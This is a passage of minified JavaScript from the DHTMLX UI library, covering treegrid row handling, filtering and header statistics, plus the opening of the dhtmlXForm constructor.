a=0;a<c.childs.length;a++){this.rowsBuffer.push(c.childs[a].buff);if(c.childs[a].state==\"minus\"){this._h2_to_buff(c.childs[a])}}};dhtmlXGridObject.prototype.render_row_tree=function(c,g){if(g){var a=this._h2.get[g];a=a?a.buff:a}else{var a=this.rowsBuffer[c]}if(!a){return -1}if(a._parser){if(this.rowsAr[a.idd]&&this.rowsAr[a.idd].tagName==\"TR\"){return this._h2.get[a.idd].buff=this.rowsBuffer[c]=this.rowsAr[a.idd]}var e=this._prepareRow(a.idd);this.rowsAr[a.idd]=e;if(!g){this.rowsBuffer[c]=e}this._h2.get[a.idd].buff=e;a._parser.call(this,e,a.data);this._postRowProcessing(e);return e}return a};dhtmlXGridObject.prototype._removeTrGrRow=function(g,c){if(c){this._h2.forEachChild(c.id,function(l){this._removeTrGrRow(null,l);delete this.rowsAr[l.id]},this);return}var h=this.getRowIndex(g.idd);var c=this._h2.get[g.idd];if(h!=-1&&h!==this.undefined){var a=1;if(c&&c.state==\"minus\"){a+=this._getOpenLenght(c.id,0)}for(var e=0;e<a;e++){if(this.rowsCol[e+h]){this.rowsCol[e+h].parentNode.removeChild(this.rowsCol[e+h])}}if(this._fake){for(var e=0;e<a;e++){if(this._fake.rowsCol[e+h]){this._fake.rowsCol[e+h].parentNode.removeChild(this._fake.rowsCol[e+h])}}if(a>1){this._fake.rowsCol.splice(h+1,a-1)}}this.rowsCol.splice(h,a);this.rowsBuffer.splice(h,a)}if(!c){return}this._removeTrGrRow(null,c);delete this.rowsAr[c.id];if(c.parent.childs.length==1){this._h2.change(c.parent.id,\"state\",this._emptyLineImg);this._updateTGRState(c.parent)}this._h2.remove(c.id)};dhtmlXGridObject.prototype.openItem=function(c){var e=this._h2.get[c||0];var a=this.getRowById(c||0);if(!a){return}if(e.parent&&e.parent.id!=0){this.openItem(e.parent.id)}this.expandKids(a)};dhtmlXGridObject.prototype._addRowClassic=dhtmlXGridObject.prototype.addRow;dhtmlXGridObject.prototype.addRow=function(c,m,h,g,a,n){if(!this._h2){return this._addRowClassic(c,m,h)}g=g||0;var e=this.cellType._dhx_find(\"tree\");if(typeof(m)==\"string\"){m=m.split(this.delim)}var l=this._h2.get[c];if(!l){if(g==0){h=this.rowsBuffer.length}else{h=this.getRowIndex(g)+1;if(this._h2.get[g].state==\"minus\"){h+=this._getOpenLenght(g,0)}else{this._skipInsert=true}}}l=l||this._h2.add(c,g);l.image=a;l.has_kids=n;return l.buff=this._addRowClassic(c,m,h)};dhtmlXGridObject.prototype.addRowBefore=function(e,l,g,c,n){var m=this.rowsAr[g];if(!m){return}if(!this._h2){return this.addRow(e,l,this.getRowIndex(g))}var a=this._h2.get[g].parent.id;var h=this.getRowIndex(g);if(h==-1){this._skipInsert=true}this._h2.addBefore(e,a,g);return this.addRow(e,l,h,this._h2.get[g].parent.id,c,n)};dhtmlXGridObject.prototype.addRowAfter=function(e,l,g,c,n){var m=this.rowsAr[g];if(!m){return}if(!this._h2){return this.addRow(e,l,this.getRowIndex(g)+1)}var a=this._h2.get[g].parent.id;var h=this.getRowIndex(g);if(h==-1){this._skipInsert=true}if(this._h2.get[g].state==\"minus\"){h+=this._getOpenLenght(g,0)+1}else{h++}this._h2.addAfter(e,a,g);return this.addRow(e,l,h,a,c,n)};dhtmlXGridObject.prototype.enableSmartXMLParsing=function(a){this._slowParse=dhx4.s2b(a)};dhtmlXGridObject.prototype._copyTreeGridRowContent=function(a,c,e){var g=this.cellType._dhx_find(\"tree\");for(i=0;i<a.cells.length;i++){if(i!=g){this.cells(e,i).setValue(this.cells(c,i).getValue())}else{this.cells(e,i).setValueA(this.cells(c,i).getValue())}}};dhtmlXGridObject.prototype.closeItem=function(c){var a=this.getRowById(c);if(!a){return}this.collapseKids(a)};dhtmlXGridObject.prototype.deleteChildItems=function(a){var c=this._h2.get[a];if(!c){return}while(c.childs.length){this.deleteRow(c.childs[0].id)}};dhtmlXGridObject.prototype.getAllSubItems=function(c){var g=[];var e=this._h2.get[c||0];if(e){for(var a=0;a<e.childs.length;a++){g.push(e.childs[a].id);if(e.childs[a].childs.length){g=g.concat(this.getAllSubItems(e.childs[a].id).split(this.delim))}}}return g.join(this.delim)};dhtmlXGridObject.prototype.getChildItemIdByIndex=function(c,a){var e=this._h2.get[c||0];if(!e){return null}return(e.childs[a]?e.childs[a].id:null)};dhtmlXGridObject.prototype.getItemText=function(a){return this.cells(a,this.cellType._dhx_find(\"tree\")).getLabel()};dhtmlXGridObject.prototype.getOpenState=function(a){var c=this._h2.get[a||0];if(!c){return}if(c.state==\"minus\"){return true}return false};dhtmlXGridObject.prototype.getParentId=function(a){var c=this._h2.get[a||0];if((!c)||(!c.parent)){return null}return c.parent.id};dhtmlXGridObject.prototype.getSubItems=function(c){var g=[];var e=this._h2.get[c||0];if(e){for(var a=0;a<e.childs.length;a++){g.push(e.childs[a].id)}}return g.join(this.delim)};dhtmlXGridObject.prototype.expandAll=function(a){this._renderAllExpand(a||0);this._h2_to_buff();this._reset_view();this.setSizes();this.callEvent(\"onGridReconstructed\",[]);if(this._redrawLines){this._redrawLines()}};dhtmlXGridObject.prototype._renderAllExpand=function(e){var a=this._h2.get[e].childs;for(var c=0;c<a.length;c++){if(a[c].childs.length){this._h2.change(a[c].id,\"state\",\"minus\");this._updateTGRState(a[c]);this._renderAllExpand(a[c].id)}}};dhtmlXGridObject.prototype.collapseAll=function(a){this._h2.forEachChild((a||0),function(c){if(c&&c.state==\"minus\"){c.state=\"plus\";c.update=true;this._updateTGRState(c)}},this);this._h2_to_buff();this._reset_view();this.setSizes();this.callEvent(\"onGridReconstructed\",[]);if(this._redrawLines){this._redrawLines()}};dhtmlXGridObject.prototype.hasChildren=function(c){var a=this._h2.get[c];if(a&&a.childs.length){return a.childs.length}if(a._xml_await){return -1}return 0};dhtmlXGridObject.prototype.setItemCloseable=function(e,c){var a=this._h2.get[e];if(!a){return}a._closeable=(!dhx4.s2b(c))};dhtmlXGridObject.prototype.setItemText=function(a,c){return this.cells(a,this.cellType._dhx_find(\"tree\")).setLabel(c)};dhtmlXGridObject.prototype.setItemImage=function(c,a){this._h2.get[c].image=a;this.rowsAr[c].imgTag.nextSibling.src=(this.iconURL||\"\")+a};dhtmlXGridObject.prototype.getItemImage=function(a){this.getRowById(a);return this._h2.get[a].image};dhtmlXGridObject.prototype.setImageSize=function(c,a){this._img_width=c;this._img_height=a};dhtmlXGridObject.prototype._getRowImage=function(a){return this._h2.get[a.idd].image};dhtmlXGridObject.prototype.setOnOpenStartHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXGridObject.prototype.setOnOpenEndHandler=function(a){this.attachEvent(\"onOpenEnd\",a)};dhtmlXGridObject.prototype.enableTreeCellEdit=function(a){this._edtc=!dhx4.s2b(a)};dhtmlXGridObject.prototype.getLevel=function(a){var c=this._h2.get[a||0];if(!c){return -1}return c.level};dhtmlXGridObject.prototype._fixHiddenRowsAllTG=function(c,a){for(i in this.rowsAr){if((this.rowsAr[i])&&(this.rowsAr[i].childNodes)){this.rowsAr[i].childNodes[c].style.display=a}}};dhtmlXGridObject.prototype._updateLine=function(e,c){c=c||this.rowsAr[e.id];if(!c){return}var a=c.imgTag;if(!a){return}if(e.state==\"blank\"){return a.src=this.iconTree+\"blank.gif\"}var g=1;if(e.index==0){if(e.level==0){if((e.parent.childs.length-1)>e.index){g=3}else{g=1}}else{if((e.parent.childs.length-1)>e.index){g=3}else{g=2}}}else{if((e.parent.childs.length-1)>e.index){g=3}else{g=2}}a.src=this.iconTree+e.state+g+\".gif\"};dhtmlXGridObject.prototype._updateParentLine=function(g,e){e=e||this.rowsAr[g.id];if(!e){return}var a=e.imgTag;if(!a){return}for(var c=g.level;c>0;c--){if(g.id==0){break}a=a.previousSibling;g=g.parent;if((g.parent.childs.length-1)>g.index){a.src=this.iconTree+\"line1.gif\"}else{a.src=this.iconTree+\"blank.gif\"}}};dhtmlXGridObject.prototype._renderSortA=dhtmlXGridObject.prototype._renderSort;dhtmlXGridObject.prototype._renderSort=function(){this._renderSortA.apply(this,arguments);this._redrawLines(0)};dhtmlXGridObject.prototype._redrawLines=function(a){if(this._tgle){this._h2.forEachChild((a||0),function(c){this._updateLine(c);this._updateParentLine(c)},this)}};dhtmlXGridObject.prototype.enableTreeGridLines=function(){this._emptyLineImg=\"line\";this._updateTGRState=function(c,a){if(a||!c.update||c.id==0){return}if(this._tgle){this._updateLine(c,this.rowsAr[c.id])}c.update=false};this._tgle=true;this.attachEvent(\"onXLE\",function(e,c,g){this._redrawLines(g)});this.attachEvent(\"onOpenEnd\",function(a){this._redrawLines(a)});this.attachEvent(\"onRowAdded\",function(c){var a=this._h2.get[c];this._updateLine(a);this._updateParentLine(a);if(a.index<(a.parent.childs.length-1)){a=a.parent.childs[a.index+1];this._updateLine(a);this._updateParentLine(a)}else{if(a.index!=0){a=a.parent.childs[a.index-1];this._updateLine(a);this._updateParentLine(a);if(a.childs.length){this._h2.forEachChild(a.id,function(e){this._updateParentLine(e)},this)}}}});this.attachEvent(\"onOpen\",function(g,c){if(c){var e=this._h2.get[g];for(var a=0;a<e.childs.length;a++){this._updateParentLine(e.childs[a])}}return true});this.attachEvent(\"onBeforeRowDeleted\",function(g){var c=this;var e=this._h2.get[g];var a=null;if(e.index!=0){a=e.parent.childs[e.index-1]}e=e.parent;window.setTimeout(function(){e=c._h2.get[e.id];if(!e){return}c._updateLine(e);c._updateParentLine(e);if(a){c._updateLine(a);if(a.state==\"minus\"){c._h2.forEachChild(a.id,function(h){c._updateParentLine(h)},c)}}},1);return true})};dhtmlXGridObject.prototype.setFiltrationLevel=function(e,a,c){this._tr_strfltr=e;this._tr_fltr_c=a;this._tr_fltr_d=c;this.refreshFilters()};dhtmlXGridObject.prototype.filterTreeBy=function(g,h,e){var a=this._h2;if(typeof this._tr_strfltr==\"undefined\"){this._tr_strfltr=-1}if(this._f_rowsBuffer){if(!e){this._h2=this._f_rowsBuffer;if(this._fake){this._fake._h2=this._h2}}}else{this._f_rowsBuffer=this._h2}var l=true;this.dma(true);this._fbf={};if(typeof(g)==\"object\"){for(var c=0;c<h.length;c++){this._filterTreeA(g[c],h[c])}}else{this._filterTreeA(g,h)}this._fbf=null;this.dma(false);this._fix_filtered_images(this._h2,a);this._renderSort();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._filterTreeA=function(e,o){if(o==\"\"){return}var m=true;if(typeof(o)==\"function\"){m=false}else{o=(o||\"\").toString().toLowerCase()}var c=function(v,u,r){var w=r.get[v.parent.id];if(!w){w=c(v.parent,u,r)}var r=q.get[v.id];if(!r){r={id:v.id,childs:[],level:v.level,parent:w,index:w.childs.length,image:v.image,state:v.state,buff:v.buff,has_kids:v.has_kids,_xml_await:v._xml_await};w.childs.push(r);q.get[r.id]=r}return r};var n=this._fbf;var q=this._createHierarchy();var a;var h=this._tr_strfltr;var l=this;var g=function(s){for(var r=0;r<s.childs.length;r++){l.temp(s.childs[r])}};switch(h.toString()){case\"-2\":a=function(r){if(n[r.id]){return false}g(r);return true};break;case\"-1\":a=function(r){return !r.childs.length};break;default:a=function(r){return h==r.level};break}this.temp=function(r){if(r.id!=0&&a(r)){if(m?(this._get_cell_value(r.buff,e).toString().toLowerCase().indexOf(o)==-1):(!o(this._get_cell_value(r.buff,e),r.id))){n[r.id]=true;if(this._tr_fltr_c){c(r.parent,this._h2,q)}return false}else{c(r,this._h2,q);if(r.childs&&h!=-2){this._h2.forEachChild(r.id,function(s){c(s,this._h2,q)},this)}return true}}else{if(this._tr_fltr_d&&this._tr_strfltr>r.level&&r.id!=0){c(r,this._h2,q)}g(r)}};this.temp(this._h2.get[0]);this._h2=q;if(this._fake){this._fake._h2=this._h2}};dhtmlXGridObject.prototype._fix_filtered_images=function(c,a){c.forEachChild(0,function(e){if(!e.childs.length&&!e.has_kids){if(e.state!=this._emptyLineImg){e.state=this._emptyLineImg;e.update=true;this._updateTGRState(e)}}else{if(e.buff.tagName==\"TR\"){var g=a.get[e.id];if(g&&g.state!=this._emptyLineImg){e.state=g.state}e.update=true;this._updateTGRState(e)}}},this)};dhtmlXGridObject.prototype.collectTreeValues=function(e){if(typeof this._tr_strfltr==\"undefined\"){this._tr_strfltr=-1}this.dma(true);this._build_m_order();e=this._m_order?this._m_order[e]:e;var m={};var h=[];var a=this._f_rowsBuffer||this._h2;a.forEachChild(0,function(c){if(this._tr_strfltr==-2||(this._tr_strfltr==-1&&!c.childs.length)||(this._tr_strfltr==c.level)){var n=this._get_cell_value(c.buff,e);if(n){m[n]=true}}},this);this.dma(false);var g=this.combos[e];for(var l in m){if(m[l]===true){h.push(g?(g.get(l)||l):l)}}return h.sort()};dhtmlXGridObject.prototype._in_header_stat_tree_total=function(e,a,h){var g=function(){var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(n){var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),c));l+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(l,a):(Math.round(l*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_tree_total_leaf=function(e,a,h){var g=function(){var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(n){if(n.childs.length){return}var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),c));l+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(l,a):(Math.round(l*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_tree_multi_total=function(e,a,l){var h=l[1].split(\":\");l[1]=\"\";var g=function(){var c=0;this._h2.forEachChild(0,function(n){var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[0]))*parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[1]));c+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(c,a):(Math.round(c*100)/100)};this._stat_in_header(e,g,a,l,l)};dhtmlXGridObject.prototype._in_header_stat_tree_multi_total_leaf=function(e,a,l){var h=l[1].split(\":\");l[1]=\"\";var g=function(){var c=0;this._h2.forEachChild(0,function(n){if(n.childs.length){return}var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[0]))*parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[1]));c+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(c,a):(Math.round(c*100)/100)};this._stat_in_header(e,g,a,l,l)};dhtmlXGridObject.prototype._in_header_stat_tree_max=function(e,a,h){var g=function(){var l=-999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.max(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_min=function(e,a,h){var g=function(){var l=999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.min(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_average=function(e,a,h){var g=function(){var m=0;var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(o){var n=parseFloat(this._get_cell_value((o.buff||this.rowsAr[o.id]),c));m+=isNaN(n)?0:n;l++},this);return this._maskArr[a]?this._aplNF(m,a):(Math.round(m/l*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_max_leaf=function(e,a,h){var g=function(){var l=-999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){if(m.childs.length){return}var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.max(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_min_leaf=function(e,a,h){var g=function(){var l=999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){if(m.childs.length){return}var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.min(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_average_leaf=function(e,a,h){var g=function(){var m=0;var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(o){if(o.childs.length){return}var n=parseFloat(this._get_cell_value((o.buff||this.rowsAr[o.id]),c));m+=isNaN(n)?0:n;l++},this);return this._maskArr[a]?this._aplNF(m,a):(Math.round(m/l*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_count=function(e,a,h){var g=function(){var c=0;this._h2.forEachChild(0,function(l){c++},this);return c};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_count_leaf=function(e,a,h){var g=function(){var c=0;this._h2.forEachChild(0,function(l){if(!l.childs.length){c++}},this);return c};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._stat_in_header=function(e,g,a,m){var h=this;var l=function(){this.dma(true);e.innerHTML=(m[0]?m[0]:\"\")+g.call(this)+(m[1]?m[1]:\"\");this.dma(false);this.callEvent(\"onStatReady\",[])};if(!this._stat_events){this._stat_events=[];this.attachEvent(\"onClearAll\",function(){if(!this.hdr.rows[1]){for(var n=0;n<this._stat_events.length;n++){for(var c=0;c<4;c++){this.detachEvent(this._stat_events[n][c])}}this._stat_events=[]}})}this._stat_events.push([this.attachEvent(\"onGridReconstructed\",l),this.attachEvent(\"onXLE\",l),this.attachEvent(\"onFilterEnd\",l),this.attachEvent(\"onEditCell\",function(c,o,n){if(c==2&&n==a){l.call(this)}return true})]);e.innerHTML=\"\"};dhtmlXGridObject.prototype._build_m_order=function(){if(this._c_order){this._m_order=[];for(var a=0;a<this._c_order.length;a++){this._m_order[this._c_order[a]]=a}}};function dhtmlXForm(h,g,l){this.idef={position:\"label-left\",labelWidth:\"auto\",labelHeight:\"auto\",inputWidth:\"auto\",inputHeight:\"auto\",labelAlign:\"left\",noteWidth:\"auto\",offsetTop:0,offsetLeft:0,blockOffset:20};this.idef_const={offsetNested:20};this.apos_css={\"label-left\":\"dhxform_item_label_left\",\"label-right\":\"dhxform_item_label_right\",\"label-top\":\"dhxform_item_label_top\",\"label-bottom\":\"dhxform_item_label_bottom\",absolute:\"dhxform_item_absolute\"};this.align_css={left:\"dhxform_label_align_left\",center:\"dhxform_label_align_center\",right:\"dhxform_label_align_right\"};var e=this;this.setSkin=function(a){this.skin=a;this.cont.className=\"dhxform_obj_\"+this.skin;this.cont.style.fontSize=(a==\"dhx_terrace\"?\"13px\":\"12px\");this._updateBlocks();this.forEachItem(function(n){var m=e.getItemType(n);if(typeof(e.items[m])!=\"undefined\"&&typeof(e.items[m].setSkin)==\"function\"){e.doWithItem(n,\"setSkin\",a)}})};this.skin=(l||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhx_form\")||\"dhx_skyblue\");this.separator=\",\";this.live_validate=false;this._type=\"checkbox\";this._rGroup=\"default\";this._idIndex={};this._indexId=[];this.cont=(typeof(h)==\"object\"?h:document.getElementById(h));if(!h._isNestedForm){this._parentForm=true;this.cont.style.fontSize=(this.skin==\"dhx_terrace\"?\"13px\":\"12px\");this.cont.className=\"dhxform_obj_\"+this.skin;this.setFontSize=function(a){this.cont.style.fontSize=a;this._updateBlocks()};this.getForm=function(){return this};this.cont.onkeypress=function(m){m=(m||event);if(m.keyCode==13){var a=(m.target||m.srcElement);if(typeof(a.tagName)!=\"undefined\"&&String(a.tagName).toLowerCase()==\"textarea\"&&!m.ctrlKey){return}e.callEvent(\"onEnter\",[])}}}this.b_index=null;this.base=[];this._prepare=function(u,v){if(this.b_index==null){this.b_index=0}else{this.b_index++}var n=null;var m=null;if(v!=null){if(v<0){v=0}var r=0;for(var a=0;a<this.cont.childNodes.length;a++){for(var s=0;s<this.cont.childNodes[a].childNodes.length;s++){if(m==null&&this.cont.childNodes[a].childNodes[s]._isNestedForm!=true){if(r==v){n=this.cont.childNodes[a].nextSibling;m=this.cont.childNodes[a].childNodes[s]}r++}}}}this.base[this.b_index]=document.createElement(\"DIV\");this.base[this.b_index].className=\"dhxform_base\";if(typeof(u)!=\"undefined\"){this.base[this.b_index].style.cssText+=\" margin-left:\"+u+\"px!important;\"}if(n!=null){this.cont.insertBefore(this.base[this.b_index],n);n=null}else{this.cont.appendChild(this.base[this.b_index])}if(m!=null){while(m!=null){var o=m;m=m.nextSibling;this.base[this.b_index].appendChild(o);o=null}}};this.setSizes=function(){};this._mergeSettings=function(s){var n=-1;var o={type:\"settings\"};for(var m in this.idef){o[m]=this.idef[m]}for(var r=0;r<s.length;r++){if(typeof(s[r])!=\"undefined\"&&s[r].type==\"settings\"){for(var m in s[r]){o[m]=s[r][m]}n=r}}s[n>=0?n:s.length]=o;return s};this._genStr=function(a){var m=\"dhxId_\";var o=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var n=0;n<a;n++){m+=o.charAt(Math.floor(Math.random()*o.length))}return m};this.idPrefix=\"dhxForm_\"+this._genStr(12)+\"_\";this._rId=(this._parentForm?this._genStr(12)+\"_\":h._rId);this.objPull={};this.itemPull={};this._ic=0;this._addItem=function(E,r,x,u,C,F,A){if(this.items[E]._index){this.getForm()._indexId.push(r);this.getForm()._idIndex[r]={ind:this.getForm()._indexId.length-1}}if(!E){E=this._type}if(E==\"list\"&&C!=null&&this.itemPull[this.idPrefix+C]!=null&&typeof(this.itemPull[this.idPrefix+C]._addSubListNode)==\"function\"){var D=this.itemPull[this.idPrefix+C]._addSubListNode()}else{if(E==\"newcolumn\"){var D={}}else{var s=this.base[this.b_index];var m=null;if(typeof(F)!=\"undefined\"&&!isNaN(F)&&E!=\"list\"){F=Math.max(parseInt(F),0)+1;for(var I=0;I<this.cont.childNodes.length;I++){for(var n=0;n<this.cont.childNodes[I].childNodes.length;n++){if(m==null&&this.cont.childNodes[I].childNodes[n]._isNestedForm!=true){F--;if(F==0){m=this.cont.childNodes[I].childNodes[n];s=this.cont.childNodes[I]}}}}}else{if(E==\"list\"){for(var H in this.itemPull){if(H==this.idPrefix+r){m=this.itemPull[H].nextSibling;if(this.itemPull[H]._listBase!=null&&this.itemPull[H]._listBase.length>0){m=this.itemPull[H]._listBase[this.itemPull[H]._listBase.length-1]}}}}}var D=document.createElement(\"DIV\");if(A==true&&m!=null){m=m.nextSibling}if(m!=null){s.insertBefore(D,m)}else{s.appendChild(D)}}}D._idd=r;D._rId=this._rId;if(typeof(D.style)!=\"undefined\"){if(typeof(x.offsetLeft)==\"undefined\"&&this.idef.offsetLeft>0){x.offsetLeft=this.idef.offsetLeft}if(typeof(x.offsetTop)==\"undefined\"&&this.idef.offsetTop>0){x.offsetTop=this.idef.offsetTop}var v=\"\";if(typeof(x.offsetLeft)!=\"undefined\"){v+=\" padding-left:\"+x.offsetLeft+\"px!important;\"}if(typeof(x.offsetTop)!=\"undefined\"){v+=\" padding-top:\"+x.offsetTop+\"px!important;\"}D.style.cssText+=v}if(E==\"block\"){if(isNaN(x.blockOffset)){x.blockOffset=this.idef.blockOffset}}if(E==\"list\"){if(typeof(D._ofsNested)==\"undefined\"){D._ofsNested=this.idef_const.offsetNested}if(u!=null){D._sId=u}var y=this.items[E].render(D,this.skin);if(!this.itemPull[this.idPrefix+r]._listObj){this.itemPull[this.idPrefix+r]._listObj=[]}if(!this.itemPull[this.idPrefix+r]._list){this.itemPull[this.idPrefix+r]._list=[]}if(!this.itemPull[this.idPrefix+r]._listBase){this.itemPull[this.idPrefix+r]._listBase=[]}(this.itemPull[this.idPrefix+r]._listObj).push(y[0]);(this.itemPull[this.idPrefix+r]._list).push(y[1]);(this.itemPull[this.idPrefix+r]._listBase).push(D);y[1].checkEvent=function(a){return e.checkEvent(a)};y[1].callEvent=function(a,q){return e.callEvent(a,q)};y[1].getForm=function(){return e.getForm()};y[1]._initObj(this._mergeSettings(x));if(D._inBlcok){D.className+=\" in_block\"}return y[1]}if(E==\"newcolumn\"){this._prepare(x.offset,F);return}if(E==\"label\"&&this._ic++==0){x._isTopmost=true}x.position=this.apos_css[(!x.position||!this.apos_css[x.position]?this.idef.position:x.position)];D.className=x.position+(typeof(x.className)==\"string\"?\" \"+x.className:\"\");if(!x.labelWidth){x.labelWidth=this.idef.labelWidth}if(!x.labelHeight){x.labelHeight=this.idef.labelHeight}if(typeof(x.wrap)!=\"undefined\"){x.wrap=window.dhx4.s2b(x.wrap)}x.labelAlign=(this.align_css[x.labelAlign]?this.align_css[x.labelAlign]:this.align_css[this.idef.labelAlign]);x.inputWidth=(x.width?x.width:(x.inputWidth?x.inputWidth:this.idef.inputWidth));if(!x.inputHeight){x.inputHeight=this.idef.inputHeight}if(typeof(x.note)!=\"undefined\"){if(x.note.length!=null&&x.note[0]!=null){x.note=x.note[0]}if(typeof(x.note.width)==\"undefined\"){x.note.width=this.idef.noteWidth}if(x.note.width==\"auto\"){x.note.width=x.inputWidth}}D.checkEvent=function(a){return e.checkEvent(a)};D.callEvent=function(a,q){return e.callEvent(a,q)};D.getForm=function(){return e.getForm()};D._autoCheck=function(a){e._autoCheck(a)};if(typeof(x.readonly)==\"string\"){x.readonly=window.dhx4.s2b(x.readonly)}if(typeof(x.autoStart)==\"string\"){x.autoStart=window.dhx4.s2b(x.autoStart)}if(typeof(x.autoRemove)==\"string\"){x.autoRemove=window.dhx4.s2b(x.autoRemove)}if(typeof(x.titleScreen)==\"string\"){x.titleScreen=window.dhx4.s2b(x.titleScreen)}if(typeof(x.info)==\"string\"){x.info=window.dhx4.s2b(x.info)}if(typeof(x.hidden)==\"string\"){x.hidden=window.dhx4.s2b(x.hidden)}if(typeof(x.checked)==\"string\"){x.checked=window.dhx4.s2b(x.checked)}if(typeof(x.userdata)!=\"undefined\"){for(var H in x.userdata){this.getForm().setUserData(r,H,x.userdata[H])}}if(x.validate){if(typeof(x.validate!=\"undefined\")&&(typeof(x.validate)==\"function\"||typeof(window[x.validate])==\"function\")){D._validate=[x.validate]}else{D._validate=String(x.validate).split(this.separator)}}if(typeof(x.required)!=\"undefined\"){if(typeof(x.required)==\"string\"){x.required=window.dhx4.s2b(x.required)}D._required=(x.required==true)}if(D._required){if(!D._validate){D._validate=[]}var o=false;for(n=0;n<D._validate.length;n++){o=(o||(D._validate[n]==\"NotEmpty\"))}if(!o){D._validate.push(\"NotEmpty\")}}D._ll=(x.position==this.apos_css[\"label-left\"]||x.position==this.apos_css[\"label-top\"]);this.objPull[this.idPrefix+r]=this.items[E].render(D,x);this.itemPull[this.idPrefix+r]=D};this._initObj=function(r,n){if(typeof(r.data)!=\"undefined\"){var s=null;if(typeof(n)!=\"undefined\"){s=n.match(/(\\?|\\&)id\\=([a-z0-9_\\-]*)/i);if(s!=null&&s[0]!=null){s=s[0].split(\"=\")[1]}}if(this.callEvent(\"onBeforeDataLoad\",[s,window.dhx4._copyObj(r.data)])===true){this.formId=s;this._last_load_data=r;this.setFormData(r.data);this.resetDataProcessor(\"updated\")}return}this._prepare();for(var o=0;o<r.length;o++){if(typeof(r[o])!=\"undefined\"&&r[o].type==\"settings\"){for(var m in r[o]){this.idef[m]=r[o][m]}}}for(var o=0;o<r.length;o++){this._prepareItem(r[o])}this._autoCheck()};this._prepareItem=function(q,u,o){var n=(q!=null&&q.type!=null?q.type:\"\");if(this.items[n]){if(!q.name){q.name=this._genStr(12)}var s=q.name;if(this.objPull[this.idPrefix+s]!=null||n==\"radio\"){s=this._genStr(12)}var r=q;r.label=r.label||\"\";r.value=r.value;r.checked=window.dhx4.s2b(r.checked);r.disabled=window.dhx4.s2b(r.disabled);r.name=r.name||this._genStr(12);r.options=r.options||[];r.rows=r.rows||\"none\";r.uid=this._genStr(12);this._addItem(n,s,r,null,null,u,o);u=null;if(this._parentEnabled===false){this._disableItem(s)}for(var m=0;m<r.options.length;m++){if(r.options[m].list!=null){if(!r.options[m].value){r.options[m].value=this._genStr()}var a=this._addItem(\"list\",s,r.options[m].list,r.options[m].value,null);a._subSelect=true;a._subSelectId=r.options[m].value}}if(q.list!=null){if(!q.listParent){q.listParent=r.name}var a=this._addItem(\"list\",s,q.list,null,q.listParent)}}};this._xmlSubItems={item:\"list\",option:\"options\",note:\"note\",userdata:\"_userdata\"};this._xmlToObject=function(C,m){if(typeof(m)==\"undefined\"){m=true}if(m){var E=C.getElementsByTagName(\"items\");E=(E!=null&&E[0]!=null?E[0]:null);var n=C.getElementsByTagName(\"data\");n=(n!=null&&n[0]!=null?n[0]:null)}else{E=C}var y=(m?[]:{});if(E!=null){for(var r=0;r<E.childNodes.length;r++){if(typeof(E.childNodes[r].tagName)!=\"undefined\"){var s=E.childNodes[r].tagName;if(this._xmlSubItems[s]!=null){var u=this._xmlSubItems[s];if(typeof(y[u])==\"undefined\"){y[u]=[]}var A=E.childNodes[r];var x={};for(var J=0;J<A.attributes.length;J++){var F=A.attributes[J].name;var 